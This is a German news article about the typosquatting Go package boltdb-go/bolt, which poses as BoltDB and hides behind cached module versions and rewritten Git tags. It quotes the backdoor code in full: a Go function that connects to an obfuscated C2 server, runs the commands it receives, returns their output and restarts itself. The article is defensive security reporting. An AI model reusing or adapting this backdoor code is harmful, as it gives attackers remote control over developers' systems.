Socket-Forscher haben im Ökosystem der Programmiersprache Go ein bösartiges Typosquatting-Paket entdeckt, das sich als das BoltDB-Modul ausgibt. Dieses Paket enthält eine Hintertür zur Remote-Code-Ausführung und nutzt den Go Module Mirror-Dienst, um im Cache zu bleiben. Gleichzeitig wurden die Git-Tags geändert, um die Malware vor manuellen Überprüfungen zu verbergen.
Anzeige
Das Thema Typosquatting ist nicht neu: Bereits bei den Paketmanagern PyPI und npm hatte es in den letzten Jahren immer wieder derartige Vorfälle gegeben, bei denen Schadcode in Paketen mit ähnlich klingenden Namen wie populäre Bibliotheken versteckt wurde, um Nutzerinnen und Nutzer zu täuschen und zum Herunterladen dieser bösartigen Pakete zu verleiten.
Im aktuellen Fall entwickelte ein Angreifer ein bösartiges Go-Paket mit dem Namen boltdb-go/bolt, das dem weitverbreiteten und legitimen BoltDB-Paket zum Verwechseln ähnlich sieht. Nachdem das bösartige Paket vom Go Module Proxy zwischengespeichert wurde, änderte der Angreifer die Git-Tags im Quell-Repository, sodass sie auf eine saubere, legitime Version verweisen. Dadurch blieb die bösartige Version für Entwicklerinnen und Entwickler verfügbar, die den Proxy nutzten, selbst wenn sie manuell das GitHub-Repository überprüften.
Ein bösartiges Codebeispiel aus dem Blogbeitrag von Socket zeigt anhand von Kommentaren, wie der Angreifer beim Einrichten und Aktivieren einer versteckten Hintertür in der db.go-Datei vorgegangen ist:
func ApiInit() { go func() { defer func() { // Persistence mechanism: // If the function panics (e.g. connection loss), // restart after 30 seconds if r := recover(); r != nil { time.Sleep(30 * time.Second) ApiInit() } }() for { d := net.Dialer{Timeout: 10 * time.Second} // Obfuscated C2 connection: // Constructs a hidden IP address and port using _r() conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort))) if err != nil { // Stealth: // If the connection fails, retry in // 30 seconds to avoid immediate detection time.Sleep(30 * time.Second) continue } // Remote command execution loop // Reads incoming commands and executes them for { message, _ := bufio.NewReader(conn).ReadString('\n') args, err := shellwords.Parse(strings.TrimSuffix(message, "\n")) if err != nil { fmt.Fprintf(conn, "Parse err: %s\n", err) continue } // Execution of arbitrary shell commands var out []byte if len(args) == 1 { out, err = exec.Command(args[0]).Output() } else { out, err = exec.Command(args[0], args[1:]...).Output() } // Exfiltration: // Sends the command output or error back // to the threat actor if err != nil { fmt.Fprintf(conn, "%s\n", err) } fmt.Fprintf(conn, "%s\n", out) } } }() }Go-Module sind so konzipiert, dass sie nach ihrer Veröffentlichung unveränderlich sind. Das bedeutet, dass alle Nutzerinnen und Nutzer, die eine bestimmte Version eines Moduls herunterladen, immer dieselben Daten erhalten. Ziel ist, die Integrität und Reproduzierbarkeit von Builds sicherzustellen, indem heimliche Änderungen oder Überschreibungen nach der Veröffentlichung verhindert werden.
Obwohl Angreifer die Unveränderlichkeit ausnutzen können, um schädlichen Code dauerhaft im Cache zu belassen, ist diese Eigenschaft ein wichtiger Sicherheitsvorteil, da sie das Vertrauen in die Konsistenz von Modulen erhöht.
Das bösartige Paket boltdb-go/bolt ist mit einer Hintertür ausgestattet, die eine Verbindung zu einem entfernten C2-Server herstellt. Diese Verbindung ermöglicht es Angreifern, Befehle an das infizierte System zu senden und auszuführen, wodurch sie die Kontrolle über das System übernehmen können. Über einen zentralen C2-Server (Command-and-Control-Server) kommunizieren die Angreiferinnen und Angreifer mit kompromittierten Systemen, um Anweisungen zu senden und Daten zu empfangen.
Der Code verwendet Verschleierungstechniken, um die IP-Adresse des C2-Servers zu verbergen, was eine Erkennung erschwert. Die Hintertür aktiviert sich, wenn bestimmte Funktionen im Paket genutzt werden. Sie bleibt aktiv, selbst wenn sie abstürzt, da sie über eine automatische Neustartfunktion verfügt.
Der Vorfall verdeutlicht, dass sich die Mechanismen zur Paketverteilung im Go-Ökosystem auch für Angriffe missbrauchen lassen. Entwicklerinnen und Entwickler sollten daher besonders wachsam sein und die Integrität von Paketen vor der Installation gründlich prüfen. Laut Blogbeitrag ist es besonders wichtig, Abhängigkeiten auf Anomalien zu untersuchen und fortschrittliche Sicherheitstools einzusetzen, die den installierten Code genau analysieren.
Um das Go-Modul-Ökosystem widerstandsfähiger gegenüber solchen Angriffen zu machen, sind verstärkte Sicherheitsmaßnahmen und ein erhöhtes Bewusstsein für potenzielle Bedrohungen erforderlich.
Weiterführende Informationen bietet der Blogbeitrag von Socket.
(